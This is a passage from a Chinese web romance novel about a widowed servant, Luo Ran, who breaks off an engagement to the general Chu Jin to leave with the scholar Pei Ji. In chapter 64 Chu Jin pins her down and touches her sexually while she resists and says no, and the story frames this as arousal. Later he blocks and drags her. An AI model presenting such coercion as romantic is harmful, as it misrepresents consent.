“罗娘,我知道突然跟你提这事,你定然没办法立马决定,我只希望你能好好考虑……” 第一卷 第63章 又不是没看过,慌什么 回到屋里,衍哥儿正在闹,小脸皱成一团,嘴里哼哼唧唧的。 罗苒进来抱过他,他便乖了,小手拽着她的衣襟,咿咿呀呀地喊着“娘”,小脑袋直往她怀里拱。 罗苒低头看着怀里这个虎头虎脑的小家伙,心里说不出的酸软。 衍哥儿如今也一岁多了,再过不久便要断奶了。 她忽然想到,若是她真的离开这里,这辈子可能就再也见不到他了。她实在舍不得。 她曾经想过,就在这里,守着这两个孩子,守着楚烬,安安稳稳地过日子也挺好。 如今却觉得,从前的那些想法,实在可笑。 衍哥儿吃奶的时候安静下来,软乎乎的小手攥着她的衣襟。 罗苒低头看着他,指尖触到他软乎乎的皮肤,心里那些乱糟糟的念头,才慢慢静了下来。 她开始认真想裴济说的那些话。 裴济说的那事,她并不觉得那是什么致命的缺点。 说实话,那种事她本也不感兴趣。 若是从此不必再经历那些,她反倒觉得松了一口气。 她想要的从来不是床笫之欢,而是一个知冷知热的人,一个可以安安稳稳过日子的家。 只是,若是又跟裴济牵扯上,府里的人还不知道要传成什么样子。 不过如今她已经是笑柄了,再添一笔,也没什么大不了的。 寡妇门前是非多,她从前只是听过这句话,如今才算真正体会到了。 不管做或不做,都会轻易成为别人嘴里的谈资眼里的笑话。 既然如此,又何必在意? 罗苒靠在窗边,看着天边渐渐沉下去的夕阳,那光漏进来,落在她手背上,却感觉不到丝毫暖意。 楚烬推门进来的时候,罗苒正坐在榻边喂衍哥儿吃奶。 衣襟半敞,露出一小截白腻的锁骨。 听见脚步声,她猛地抬头,看见是楚烬,慌忙抬手去拢衣襟。 楚烬看着她那副慌乱遮掩的模样,浓眉轻挑,带着几分打趣, “又不是没看过,慌什么。” 罗苒窘迫的耳根都红了,低头把衣襟系好,吃完奶的衍哥儿抱起来,轻轻拍着他的背,垂着头不看楚烬。 楚烬唤来李婆婆,让她把刚吃饱的衍哥儿带出去跟小玥玩。 “跟我过来。”楚烬说。 罗苒犹豫了一下,还是跟了上去。 楚烬的房间光线明亮,桌案上铺着几匹红色的布匹,颜色明艳得像天边的晚霞,质地细腻如水,光泽流转,一看就价值不菲。 楚烬站在那些布匹旁边,声音好似刻意放柔了许多,开口说道, “这是特意让人刚送来的云霞缎,用来做你的嫁衣,可好?” 他顿了顿,扭头看着罗苒, “凤冠的款式可有喜欢的?跟管家说便是,让他去置办。” 罗苒看着那些布匹,又看了看他那张像是什么都没发生过的脸,忽然觉得有些可笑。 他怎么会觉得,她知道了一切,还会像从前那样装作什么都不知道? 他怎么能这样若无其事地跟她讨论嫁衣凤冠,好像他只要稍微给点恩赐,自己就应该什么都抛下,感激涕零地摇着尾巴凑上前。 “大爷何必在这些无用事上花费心思。” 罗苒的声音很轻,没什么起伏。 楚烬原本扯开布料想要往罗苒身上比量的手顿了一下,目光落在她脸上。 她的表情很淡,不像是在生气,也不像是在赌气,只像是在看一个不相干的人。 楚烬的眉头微微皱了一下,大步走到她面前,微微低头居高临下地看着面前神色淡然到碍眼至极的女人。 “我既然说过要娶你为妻,那自然要说到做到。” 罗苒抬起头,看着他棱角分明的脸,忽然觉得有些恍惚。 楚烬又道,“只要你像之前那样安分柔顺,我自然会让你锦衣玉食一辈子。” 罗苒思索了一下话中意味,低头笑了一下,眼眸中带着几分自嘲, “大爷怎么就觉得,我会稀罕那些?若真想要那些,我早就去当富贵人家的妾室了,何必等到今天。” 楚烬眉头一拧,语气里带了几分不悦, “你说你不愿做妾室,那我便娶你做正妻,你还有什么不满?” 罗苒抬起头,看着他,像是头一回看清这个男人。 沉默片刻,她这才又重新开了口, “大爷,你自始至终都弄错了一件事。我不做妾室只想当正妻,是因为我想和一个人相守一生,彼此忠诚,彼此相爱……” 她顿了顿,声音轻了几分,像在跟自己说, “可若是嫁给一个不爱自己,甚至存心欺骗的人,就算做正妻,又有什么意思呢?” 楚烬没有说话,只是看着她。 她似乎瘦了些,下巴尖尖的,脸白得有些透明。 模样依旧柔嫩,可面对他时,眉梢眼角总带着一股隐隐的拒绝和抵触。 楚烬只觉得胸口烦闷得更加厉害了,像被什么东西堵住了,焦躁得很,声音不由沉了下来。 “说到底,还不是因为那姓裴的对你还不死心?他来找你,你便又动摇了。” 苒并不意外楚烬会知道裴济来找她的事。 这整个楚府都是他说了算,只要他想知道,没有不知道的。 坦然地点了点头,“是,裴公子确实来找了我。” 楚烬见她这么痛快地承认,脸色更难看了。 盯着那张漂亮的脸,语气里带着几分讥诮, “你以为跟着他,就能过上你一心想要的日子?他怕是连最基本的夫妻义务都做不到,你莫要被他骗了……” 罗苒忽然有些看不惯他这副胜券在握的样子。 好像什么都在他算计之中,什么都在他掌控之下,明明是他不诚在先,可现在却好意思来评判她的去留。 “不是所有人都跟大爷一样的……” 她忍不住打断楚烬的话,黝黑的眼眸看着他, “裴公子已经把他的情况原原本本跟我说了,没有隐瞒……” 楚烬似是不能理解,眉头拧得更紧了,“那你还……” “我觉得挺好。” 罗苒声音轻柔,却带着一种从未有过的笃定, “那种事本也没什么必要……这样至少,他能把小玥当亲生孩子对待……” 第一卷 第64章 意识到他不是在开玩笑 听闻罗苒这样说,楚烬的脸彻底沉了下来。 他看着罗苒,发现她不是赌气和试探,是真的考虑过要跟裴济走。 怒极反笑,他声音里带着几分咬牙切齿的意味, “多少男女沉迷其中,夫妻间的情趣,怎么就成没必要了?” 谈及这种事,罗苒的脸不由红了几分。 她避开楚烬那直直的目光,脸上带着几分窘迫, “那种事对女子而言,也未必是什么快活事。” 楚烬挑了挑眉,目光紧锁着她那涨红的脸,声音低了几分, “苒娘这么说,莫不是一次都没从中得过趣?” 这话说得毫不避讳,罗苒顿时又羞又恼。 她抬起头瞪向楚烬,才发现他的目光直接又赤裸,带着一股莫名的危险气息,让她心底不由发颤。 不想再在这里待下去,她没有在回答,转身便要离开。 可脚还没迈出去,手腕就被楚烬的大手一把攥住。 她下意识挣扎,却被那有力的大手顺势一带,整个人跌进了柔软的床榻里。 罗苒懵了,回过神来的时候手忙脚乱地要爬起来。 楚烬高大健硕的身躯却随即覆了上来,将她压于床榻之间。 罗苒抬手去推,身上高大的躯体却纹丝不动,彻底慌了神, “大爷您……” “放心,”楚烬的声音低哑,幽暗的目光自上而下的紧盯着罗苒那慌乱的小脸, “你不愿,我不会真的要了你。” 罗苒看着将她压在身下的男人,薄唇轻颤着。 他虽这样说,可那眼神根本不像是不要的样子。 她一时不知道该信还是不该信。 “但是苒娘……” 楚烬低下头,凑近她耳边,热气喷在她耳廓上,激得她浑身一颤, “男女情事,不必真个温存,亦能让女子心领意动。” 罗苒瞪大了眼,意识到他不是在开玩笑,慌忙挣扎想要逃走。 楚烬揽着她的腰,轻易地将她面朝下摁在床榻上。 衣带松散。 他的指腹粗糙带着薄茧,贴上去的时候罗苒整个人都僵了。 她咬着唇,拼命忍着不出声。 可那从未有过的陌生感觉像潮水一样涌来,几乎将她意识淹没。 “不……不要了……” 她啜泣着,破碎的声音带着哭腔。 眼前像有什么东西炸开,白茫茫一片。 终于没忍住,从喉咙里漏出一声极轻的呜咽。 罗苒再睁眼时已是第二日。 这几日她睡不好,昨日浑浑噩噩竟那样睡了过去。 身旁还是温的,楚烬似乎在这过了夜。 一旁备着还冒着热气的早餐,她却没有半点胃口。 她起身眨了眨眼,眼睛干涩。 回想昨夜,只觉得彻骨凉意从后背袭来。 抖着手把凌乱的衣裳一件一件穿好。 出了门她第一时间去看了眼衍哥儿和小玥。 两个孩子还在睡,李婆婆把他们放在了一张床上,两个小人儿挨在一起,都睡得沉。 她站在门口看了一会儿,没有进去,转身去找了裴济。 裴济听她,激动得不行,一刻也等不了,拉着她就往老夫人院里走。 裴济听闻罗苒同意后显然很激动,一刻也等不了,拉着她就往老夫人院里走。 老夫人刚用完膳,屋里燃着熏香,味道淡淡的,让人心静。 她端坐上首,手里捻着佛珠,听裴济把话说完,又看了看站在一旁的罗苒,沉默了好一会儿。 “你当真想好了?” 老夫人问, “你救了阿烬的命,他若娶你,也是天经地义。” 罗苒跪下来,行了个大礼, “老夫人,奴婢心意已决,大爷对奴婢并非真心,又何必强求,徒增一对怨偶。” 老夫人看着她跪在地上,后背单薄柔顺,叹了口气。 当初楚烬要娶罗苒,她不是没有反对过。 后来得知罗苒是救命恩人,又见楚烬实在喜欢,才没再坚持。 可前些时日她知道了真相。 如今知道楚烬是被迫之举,她也不想让孙子娶一个不喜欢的人。 罗苒和裴济来找她正好,传出去也只是女方移情别恋不嫁,自家孙子并无过错,皇家也无法怪罪。 “既然你不愿意,那婚约便作废吧。” 她顿了顿,让人取来几只金簪和一对玉如意, “这些你拿着,算是老身的一点心意,往后去了北方,好好过日子。” 罗苒叩头谢恩,站起来时裴济扶了她一把,这次她没有挣开。 罗苒看着那些贵重的赏赐,知道自己离开正是顺了老夫人的意愿。 指不定楚烬也在等她主动开口,所以昨日才那样对她…… 可就算那样,自己后来竟然被欲望冲昏了头,浑浑噩噩地攀住了他。 想到这里,罗苒眼眶又有些发涩,连见都不想再见楚烬了。 只是怕什么来什么。 领了赏赐正要离开,刚归来的楚烬大步迈了进来。 他先向老夫人请了安,面色如常。 随后目光才转向一旁的两人,扫过站在罗苒身边的裴济,眼神沉了下来,周身带着低气压,让人有些喘不过气。 罗苒下意识低头避开他的视线,楚烬却像没看见她的回避,朝她迈了一步,笑了笑,只是笑意却似乎并没到眼底。 他看着低头的罗苒, “苒娘昨夜劳累,怎么起这么早?早饭也没动……” 说着便要去牵罗苒的手。 这话暧昧,暗示意味明显。 罗苒后退一步,避开了楚烬伸过来的手。 裴济随即挡在前面,声音温和, “阿烬,姑母已经允了我和罗娘的事,这样罗娘就名正言顺不用和你成亲了,你以后也不用再费心演戏了。” 裴济看似句句为楚烬着想,楚烬的脸色却越听越沉,他挑了挑眉, “表叔这是什么意思?我何时演戏了?” 裴济笑了笑,“全府都知道您是为了拒绝皇家婚事才找罗娘,如今公主和亲多日,皇帝也不盯着您的婚事了,没必要了……罗娘跟我离开,正好给您一个合理拒婚的理由。” 楚烬盯着裴济,又看向罗苒,冷哼一声, “就算我是演的,她应了我的婚事,怎能随意离开?” 第一卷 第65章 你倒是对谁都这般贤惠体贴 裴济忍不住开口, “楚烬,你这般霸道,明明是你先不仁不义,罗娘是你的救命恩人,你不报答便罢了,如今还要强迫留下她?” “全府上下谁不知道怎么回事?你强扣着她,怎么就不想想她的处境?” 楚烬看着别的男人替罗苒说话,只觉得碍眼得不行。 他忍着胸口翻涌的怒意,紧盯着裴济冷声道, “科考在即,表叔不抓紧时间好好准备,倒盯着别人的未婚妻处境难不难,受没受委屈?” 一向温润的裴济,这次却难得地挺直了腰杆,看着楚烬,半点不避让。 “若是罗娘好好的,我自然不会从中叨扰,但你既然不是真心,那便将她让给真心对她的人,岂不更好?罗娘虽是楚家奴仆,但签的是活契,不是你的物件,她如今想跟我走,姑母也允了,你莫要再胡搅蛮缠……” 楚烬的脸色彻底沉下来,下颌绷得死紧。 老夫人捻着佛珠的手停了,目光在三人之间转了一圈,叹了口气, “行了,都少说两句。” 她看向楚烬,语气不重,却带着几分不容置疑, “阿烬,今日是他们二人主动过来找我做主的,我也已经做主允了他们,你这件事上确实有错在先,就勿要一错再错了。” 楚烬明显不愿,嘴唇动了动,“祖母……” “一国之将,勿要任性妄为。” 老夫人难得冷了脸,声音不高,却气势十足, “难道连我这个祖母的话,你都不听了?” 厅里安静下来。 楚烬站在那里,手垂在身侧,攥了又松,松了又攥。 他偏过头,目光落在罗苒身上。 那女人垂着眼,始终没有看他。 裴济站在她身侧,不近不远,恰好挡住了什么。 楚烬把视线收回来,喉结滚了一下,到底没有再开口。 老夫人捻起佛珠,一下一下地拨着,珠子碰撞的声响在安静的大厅里格外清晰。 难得只手遮天的楚烬,竟也有吃瘪的时候。 那日之后,罗苒本以为楚烬还会寻些由头来为难她。 几日过去,他那边却意外地安静,连面都没露过一回。 许是出征在即,兵营里的事多,顾不上她。 罗苒松了口气,开始慢慢收拾东西,把衣裳一件件叠好,把小玥的玩具归拢进一个小包袱里。 裴济科考在即,同样也忙。 好不容易抽出半日空,喊罗苒陪他出门采买考试用的笔墨。 天色灰蒙蒙的,云层压得低,却不见雨意。 日头被挡在云后头,只透出薄薄一层光,不晒也不刺眼,空气里带着一丝凉润,正适合出门。 两人去了就近的集市,人来人往,吆喝声此起彼伏。 路边有卖花灯的,虽然不到节庆,仍挂了几盏做样子。 裴济看了一眼,轻轻笑道, “这让我想起了之前的花朝节……罗娘你不知道,当时你同意同我一起去逛花灯时,我是怎样的心情。” 他顿了顿,语气里带着几分遗憾, “可惜我们最后也没去成。” 罗苒想到了没去成的原因,只觉得不知该如何接话。 裴济又自顾自地道,“不过营州也有类似的节日,等你和我一同回去后,我们再带着小玥一起去玩。” 罗苒仍没应声。 她盯着那几盏灯,脑子里却冒出另一条街另一片灯火…… 满街灯火,楚烬把她举起来摘那盏最高的花灯,她低头时嘴唇擦过他的鼻梁…… 那时她便已经动了心吧…… 意识到自己在想什么时,罗苒心中一紧,慌忙把那些画面从脑子里赶出去,转身跟着裴济往集市里头走。 集市上的东西多,罗苒难得出来,给衍哥儿和小玥买了几块饴糖,又挑了两双小布鞋,鞋面上绣着虎头,憨态可掬。 路过一个卖头绳的摊位,她蹲下来挑,花花绿绿的小物件摆了一整排。 她捡起一根鹅黄色的,对着光看了看又拿起一根藕粉色的比了比。 正挑着,她忽然觉得有什么东西沉沉地落在自己身上。 她本能地抬头望去,与斜对面的酒楼二楼月台中的男人对视个正着。 楚烬手里捏着酒杯,懒散地靠在椅背上,穿着一身深蓝衣衫,头发只用一根簪子束着,松松垮垮的,不像平日在府里那般端肃。 此时的他正居高临下地和罗苒对视,俊逸不凡的脸上没什么表情,目光却远远地压过来,烫得她心慌。 一时间愣在那里,手里攥着头绳都忘了松。 正在此时,一把伞挡在她头顶,遮住了那片视线。 太阳不知什么时候出来了,光线白晃晃的。 裴济不知从哪个摊位上买了一把纸伞,撑开来举在她头顶,声音带着温柔的笑意, “太阳出来了,别晒着。” 罗苒低下头,把手里的头绳胡乱塞进袖子里,付了钱,站起来说, “我们走吧。” 裴济应了一声,举着伞走在她身侧,步子不快不慢,伞檐微微倾向她那边,把她整个人拢在他所撑的阴影之中。 裴济科考前两日,罗苒趁着衍哥儿和小玥乖,细细为裴济打点科考所需的一应生活用品。 正忙着,忽闻院中有动静,抬眼便见楚烬走了进来。 罗苒没想到这几日这么繁忙的他会来衍哥儿院。 一时有些不自在,还是敛衽轻声唤了声“大爷”,便垂眸继续手头的活计。 楚烬目光扫过罗苒为裴济叠得整整齐齐的铺盖行囊,鼻间冷冷哼了一声,语气带着几分不易察觉的阴阳怪气, “你倒是对谁都这般贤惠体贴。” 罗苒自是有些尴尬,只假装没听见,垂着头继续整理物件。 楚烬阴沉沉的目光在她身上落了片刻,见她始终不理不睬,终究觉得自讨没趣,便转身往院子里去了。 衍哥儿和小玥正坐在树荫下玩耍,楚烬从怀中取出一个油纸包。 里面是牛乳和砂糖做的猊糖,那乳糖用模子印成狮子麒麟的模样,个个小巧精致,奶白的糖身泛着淡淡的光泽,还未拆开便隐约能闻到一股清甜的奶香味。 他蹲下身,将油纸包摊开,随意挑了个递给衍哥儿,又拣了个小花模样的塞到小玥手里。 得了爱吃的点心,衍哥儿和小玥顿时喜笑颜开,捧着猊糖吃得满心欢喜。 第一卷 第66章 开始朝他伸爪子的小娘子 楚烬也不走,就坐在院子里的藤椅上,眼神柔和地看着两个小家伙吃得满手满脸都是糖渍。 裴济来找罗苒的时候,楚烬正拿帕子给两个孩子擦手。 裴济见了,点头打了声招呼,便进屋去找罗苒。 罗苒已经把衣裳铺盖叠得板板正正,打好包递给他。 裴济接过,笑着道, “多谢罗娘,这几日劳你费心了。” “裴公子不必客气。”罗苒说。 裴济来楚府借住这么久,从不仗着老夫人的亲戚关系摆架子,之前管家也想要给他安排几个随从,都被他婉拒了。 他是个男人,本来就不擅长收拾这些琐碎的小事,马上就要科举了,要是东西少了漏了,反而耽误事。 即便只是普通朋友,帮着归整一下也是应该的。 裴济拿着铺盖,清俊的脸上却隐隐藏着心事。 前日他去文昌祠上香求文运,回来后就一直这般心不在焉。 罗苒只当他科举在即紧张,便体贴地劝慰道, “公子才华横溢,这次科举肯定能顺利,无需太过忧心。” “借罗娘吉言。” 裴济依旧笑着,他看着罗苒柔顺的脸,目光有些复杂,手里的铺盖攥紧了几分,像是在对罗苒说,又像是在对自己说, “罗娘对我的好,我谨记在心,定不负你。” 罗苒也轻笑着回,“公子无需这般,您也帮了我许多。” “呵……” 一声带着寒意的嗤笑突然在门口响起。 罗苒转头,才发现楚烬不知什么时候站在了那里,正看着屋里两个人,眼眸凉凉的。 “倒真是挺情深义重的……” 他的目光扫过裴济,带着几分戏谑, “科考在即,表叔你这两天反而总往外跑,难道还有什么人什么事,比关乎你前途的科举考试还重要?” 裴济脸色微变,眼神躲闪着含糊道, “科举要带的东西太多了,我出去采买频繁了些而已。” 楚烬轻笑一声,眼里却没有半点笑意,全是看透一切的冷然, “哦?是吗?”他顿了顿, “表叔方才说不负苒娘的话,可是要好好做到。” “那是自然。” 裴济应着,只是在楚烬的目光下,他明显有些不自在。 匆匆跟罗苒说了句还要回去准备,就带着行囊离开了。 屋里一时间就只剩下罗苒和楚烬两个人。 楚烬慢悠悠地往屋里走了一步。 罗苒瞬间想起此前被他强行按在床上的旧事,心头警铃大作,转身便想往外走。 可楚烬长得高大,往那儿一站,就把路挡得严严实实,连一点缝隙都没有。 楚烬低头看着罗苒,她垂着眼,不肯看他。 “方才跟他倒是聊得热络,到了我这里,连个眼神都舍不得给?” 那声音低沉,似乎还带着几分压抑的愠怒。 罗苒语气疏离冷淡的回, “奴婢一介民妇,跟大爷自然没什么可聊的……衍哥儿和小玥还在等我,劳烦大爷让……” 楚烬没动,开口说道, “衍哥儿和小玥正忙着吃糖,此时怕没心思找你。” 罗苒见他不打算让开的架势,抬起眼,柳眉不由皱起, “大爷到底想同我说什么?” 楚烬盯着她那张白净的脸。 日头毒辣,晒得院子里的石板都发烫,多少人在这时节黑了一层,这小娘子倒是一如既往白得发光。 从脸颊到脖颈,连点晒痕都没有,精致得让人移不开眼。 一想到方才她在屋里跟裴济说话时那副温和妥帖的模样,他心里就堵得慌。 他移开目光,声音沉了几分, “营州气候严酷,冬日漫长,气候又干又冷,小玥年纪小,去了那里定然不适应。” 他顿了顿,看着罗苒又继续道,“裴济看着温文尔雅,上头三个姐姐,母亲也是个守旧重礼数的,你跟他去了,人家未必能接纳你……你自己吃苦也就罢了,小玥那么小的孩子,你也忍心?” 楚烬显然不知裴济曾答应罗苒,若觉得不合适便不强求。 似乎想用这些话让罗苒知难而退。 罗苒听了,脸上并无慌乱担忧,依旧坦然淡漠, “左右是我自己选的路,去那里会遭什么,就不劳大爷费心了。” 楚烬见她这般坚定,胸口那团火拱得更旺了。 他冷笑一声,语气里带着几分咬牙切齿的意味, “那裴济就这般合你心意?让你旁的都不在乎了?” 罗苒由衷道,“裴公子是很好的人。” 楚烬盯着她低垂的眉眼,眼中带着隐隐讽刺之意, “在想要表现的人面前,任何人都会把最好的一面露出来,他怕也不是你认为的那般好……” “你不喜欢被人骗,可曾想过裴济就没骗过你?没瞒过你?” 罗苒迎着楚烬的目光,替裴济辩解, “不是所有人都跟大爷一样,裴公子为人坦荡磊落,自然不会隐瞒欺骗。” 楚烬被罗苒这几句不软不硬的话呛得心头一堵,顿时恼了。 这小娘子这些时日在他面前,冷淡疏离也就罢了,竟敢这般直言呛他。 他脸色当即沉了几分,周身那点逗弄人的轻佻瞬间敛去,只剩下沉沉压迫感。 一双黑眸落在她低垂的发顶,语气也冷了下来,带着被拂逆后的愠怒, “开始朝他伸爪子的小娘子如今倒是长本事了,连我的话都敢顶了。” 他往前又逼近一步,紧盯着面前开始朝他伸爪子的小娘子, “在裴济面前柔声细语,到我跟前便这般冷漠抵触,罗苒,你当真是好样的。” 罗苒被他逼得后背紧贴桌沿,心头慌乱惧怕起来,却咬着唇不肯求饶。 楚烬瞧着她这副又怕又倔的模样,怒火中竟又掺了几分按捺不住的躁意。 伸手便扣住她的手腕,力道带着几分恼意,却又下意识地留了情。 “既然你对裴济那么有信心,那我便让你看看,你的裴公子究竟是怎样坦荡磊落的……” 说罢,不等她挣扎,拽着她往府门口走去。 罗苒被他拖着走,脚步踉跄,几乎要小跑才能跟上他的步子。 第一卷 第67章 不想在大庭广众之下被我抱上去,就自己上 府门口不知什么时候已备好了一辆马车,车帘垂着,车夫站在一旁。 罗苒不肯上车,下意识往后退了一步。 楚烬站在她身旁,语气是不容置喙的强势, “不想在大庭广众之下被我抱上去,就自己上。” 罗苒知道他不是在开玩笑,他这人说到做到。 若她再迟疑,他真的会把她当众抱起来扔上车。 她又恼又窘,咬着唇犹豫了一瞬,终究还是压下心底的抗拒踩着脚踏爬了上去。 楚烬也紧跟着上了马车。 车厢不大,两个人面对面坐着,膝盖几乎要碰到一起。 罗苒缩在角落里,把自己挤成一团。 跟这个男人同处一室,她总觉得心突突地跳。 想起那日他只是动动手指,自己便溃不成军,浑浑噩噩间还攥住他衣襟,下意识向他索取的模样,便觉得没脸见人。 尤其此刻他上了马车后,还用那种轻挑的眼神扫她,更让她浑身不自在。 楚烬看着她那副避如蛇蝎的模样,眼底掠过一丝不易察觉的戏谑。 高大的身躯忽然朝她凑过去,罗苒立刻绷紧了身子,后背死死抵住车壁,声音都变了调, “你,你又要做什么?” 楚烬凑近,鼻尖几乎要碰上她的额头。 他近距离看着她紧绷的小脸…… 睫毛颤着,嘴唇抿着,耳根泛着粉红。 他抬手,罗苒就下意识地闭上眼,肩膀紧缩着。 那只手却没有落在她身上,而是越过她的头顶,掀开了帘幔。 “你不热吗?”他的声音从头顶传下来,带着几分揶揄。 外面的风吹进来,闷热的车厢顿时清凉不少。 罗苒睁开眼,看着那扇被掀开的帘幔,意识到自己想多了,脸不由红了几分。 楚烬将她这副窘迫模样看得分明,眼底漫开几分戏谑,薄唇轻勾,语气带着几分漫不经心的打趣, “看样子,方才真是热着了,脸都红成这样了。” 罗苒的脸又红了几分,耳根烧得发烫。 极不自在地别过头去看向车外,盯着车窗外头掠过的街景,不肯看他,声音闷闷地开口。 “大爷究竟要带我去何处?” “去一个能让你认清某些人面目的地方。” 楚烬靠在车壁上,语气淡淡的,听不出什么情绪。 马车在街面上拐了几个弯,最后在一家客栈前停下来。 等了一会儿,便见裴济又不远处匆匆赶来。 他换了一身柳青色长衫,头发束得整齐,像是特意收拾过。 他在客栈门口站定,朝里面张望了一下,像是在等什么人。 片刻,一个女子从客栈侧门出来。 那女子衣裙粉嫩,身形纤细,面容清秀,眉眼间带着几分楚楚可怜的意味。 她看见裴济,眼眶一下子就红了,小跑着过来,站在他面前,眼泪啪嗒啪嗒往下掉。 裴济看着她,脸上露出心疼的神色,抬手替她擦泪。 那女子抓住他的手,哭得更厉害了,整个人往他怀里扑。 裴济没有推开,抬手揽住她的肩,低声说着什么。 那声音隔着距离听不清,可那低声哄慰的姿态怎么看都不是普通朋友。 罗苒看着抱在一起的两个人,整个人有些怔愣。 楚烬的声音从旁边传来,带着几分深意, “难为他那前未婚妻千里迢迢从营州赶来,为他科考助威,真是情深义重……看来这青梅竹马,不是随便哪个后来者能比得上的……” 只见不远处裴济揽着那女子的肩,把她带到一旁的树荫下,低头跟她说着什么。 那女子哭得厉害,裴济便轻轻拍着她的背,动作轻柔,极有耐心。 罗苒脸上依旧维持着几分淡定,既没有崩溃落泪,也没有怨怼质问。 仿佛方才那一幕并未在她心上留下太多波澜。 回去后就照常带着衍哥儿和小玥,该哄睡哄睡,该喂饭喂饭。 楚烬却不知今日怎的,竟像是要跟她耗上一般。 竟也不走,反倒跟着她回了衍哥儿的院子。 他身形高大健硕,往院子里一站,便自带一股迫人的气场,却偏偏放软了姿态,陪着衍哥儿和小玥玩耍。 他身量高,力气大,把衍哥儿和小玥举过头顶,两个小人儿伸着手就能够到石榴树高处的果子。 衍哥儿和小玥顿时高兴坏了,争相要他抱,清脆的笑声在院子里回荡谧。 楚烬看着两个软乎乎的小团子,眼底的冷冽尽数褪去,染上几分难得的柔和,连眉宇间的凌厉都柔和了几分。 举手投足间,再也不见半分镇国将军的杀伐之气,只剩寻常男子的温和。 罗苒坐在树荫下,看着那欢快的画面,凉了的心回了一点温度。 约莫玩了好一会儿,日头渐渐西斜,两个孩子脸上都沁出了细密的汗珠,小脸蛋红扑扑的。 罗苒起身走向他们,拿出手帕给衍哥儿和小玥擦汗。 动作轻柔,眉眼间满是宠溺。 “我呢?” 楚烬的声音忽然响起,带着几分不易察觉的委屈试探,目光牢牢锁在罗苒手中的手帕上。 他本就气血旺盛,陪着两个孩子疯玩半日,额间早已覆了一层细密的汗水,小麦色的皮肤在夕阳下泛着健康的光泽,连脖颈间都沾了些许薄汗。 他依旧抱着小玥,身形挺拔如松,即便未曾十分靠近,罗苒也能清晰感受到他身上那股滚烫的男性气息,灼热而有力量。 他的心思再明显不过,便是要罗苒也替他擦汗。 罗苒愣了愣,下意识便开口推脱, “手帕刚给孩子们擦过汗,已然脏了,大爷还是让婢女换一方干净的吧。” “无妨,我不在乎。”楚烬到是坚持。 罗苒无奈,只得抬手将手帕递过去,可指尖刚触到他的掌心,便被他一把攥住。 楚烬的手掌宽大而温热,力道不重,却牢牢扣着她的手,示意她擦拭。 罗苒眉宇间掠过一丝无奈,抽了一下手没抽动,便由着他抓着自己的手用帕子在他额头上草草抹了两下。 反观楚烬,却一副心情极好的模样,眼底的笑意藏都藏不住。 第一卷 第68章 都是“想要娶她”,而不是“喜欢她” 他目光落在罗苒脸上,将她眼底的低落与心事重重看得真切,将捧着石榴的小玥放回地上,让俩孩子自己去玩。 自己则收起了玩笑的神色,语气沉了几分,对着罗苒缓缓开口, “裴济那般读书人,向来只会花言巧语,说得比唱的还好听,可说得再动听又有何用?说到做到,才是真理……” “我承认,一开始确实欺瞒了你些许,可我是真心想要娶你,这世间哪有那么多完美的婚姻与感情?苒娘,你成过一次亲,历经世事,如今怎就不能现实一些?” 罗苒抬眼,望向楚烬,这张脸实在好看,以至于说出的话都染着几分蛊惑性。 可今日客栈前的一幕,她却不会傻到当作巧合…… 楚烬分明早就知晓裴济近日异常的缘由,才会故意带她去那里,让她亲眼撞见真相。 她压下心底翻涌的波澜,终究还是忍不住,将心中的疑问脱口而出, “大爷当初拉我做挡箭牌,不过是不想成为驸马,如今公主已然和亲,我也早已言明,绝不会挟恩图报,更不会强求与你成亲。” “这般一来,你既不用被迫做驸马,也不用勉强娶我一个寡妇,于你而言,本就是最好的结果,可你如今,为何还要对我紧抓不放?” 楚烬看着罗苒扬起的小脸,那双清澈的眸子里满是疑惑不解。 “这很不好理解吗?我向来不喜欢那些高傲金贵的世家小姐,她们娇纵任性,一言不合便耍脾气闹别扭,我整日带兵练兵,忙得脚不沾地,哪有功夫在她们身上费心思哄着?” 他顿了顿,看着罗苒的眼眸深邃, “可你不一样,苒娘,你温软贤惠,性子软糯,心地又善良,模样也让人眼前一亮,衍哥儿喜欢你,你很适合做他的娘亲,也适合留在我身边……” 罗苒静静地看着他,听着他一字一句的话语,心里那点刚回的温又凉了下去。 他说得坦然又纯粹,罗列了她所有的好处,却唯独少了夫妻之间最至关重要的东西…… 是啊,他自始至终说的,都是“想要娶她”,而不是“喜欢她”。 他坚持要娶她,仅仅是因为她性格温良,不会给他制造麻烦,不会让他劳心费神,还会真心对衍哥儿好,能成为一个合格的将军夫人,仅此而已。 罗苒深吸一口气,压下心底的寒凉,语气带着几分执拗的质疑, “婚姻之事,岂能如此草率?没有感情的婚姻,终究是同床异梦,不会幸福的。” 楚烬闻言,竟像是听到了什么可笑的事情一般,低低嗤笑一声,语气里满是现实的凉薄, “幸福?苒娘,你这话可就可笑了,所谓的感情,能当饭吃,还是能当钱花?不过是读书人用来哄骗女子的虚头巴脑之物罢了……” “你已然成过一次婚,该见识过柴米油盐的难处,该尝过颠沛流离的苦,怎还这般天真?不如学着现实一些,有我在,你和小玥都能衣食无忧,不必再受半分委屈,不必再为生计奔波,这难道不比那些虚无缥缈的感情更实在?” 罗苒看着他眼底的不以为然,没有动气,只是摇了摇头,语气平静却带着不容动摇的坚定, “大爷,我不反对别人追求物质,人各有志,有人偏爱锦衣玉食安稳度日,这无可厚非,可你知道的我想要的,从来都不是这些……和心意相通的人在一起,是哪怕粗茶淡饭,也能心安踏实,而不是这样没有感情,只讲利弊的结合。” 说到此处,罗苒抬眼望着楚烬,终究还是问出了心底最担忧的那句话, “更何况,大爷今日这般说,可若是日后,你遇到了自己心爱之人,找到了那个让你心甘情愿付出,满心欢喜相待的女子,到时我又该何去何从?” 楚烬看着她眼底的不安, “你多虑了,我楚烬一生戎马,心思都在沙场与家国之上,本就不会有什么心爱之人。” 这番话,没有半分安抚慰藉。 罗苒垂着眼,长长的睫毛微微颤动,掩去眼底翻涌的酸涩与不安,心底再清楚不过。 楚烬今日这般说,不过是因为还没有碰到那个真正让他心动让他甘愿放下身段去疼惜的人。 这世间哪有天生无心之人,不过是未遇良人罢了。 若是真有那么一天,他又怎会再忍受自己这个毫无感情只是凑活度日的妻子? 又怎能忍受真心喜爱的女人为妾为奴。 到时,她与小玥,怕是还要再一次被人弃之如敝履,重蹈往日的覆辙…… 纵是先前对这男人便已凉了心,这番交涉下来面对楚烬的坦然纯粹,罗苒的后背还是微微发凉。 直到如今,她依旧分不清,往日里那些深夜的缠绵悱恻,那些危难时刻的体贴维护,到底哪些是真心,哪些又是假意? 哪些是他刻意伪装的温柔,哪些又是他一时兴起的施舍? 楚烬看着罗苒苍白的小脸,眼底掠过一丝了然,脸上已然露出胜券在握的神情。 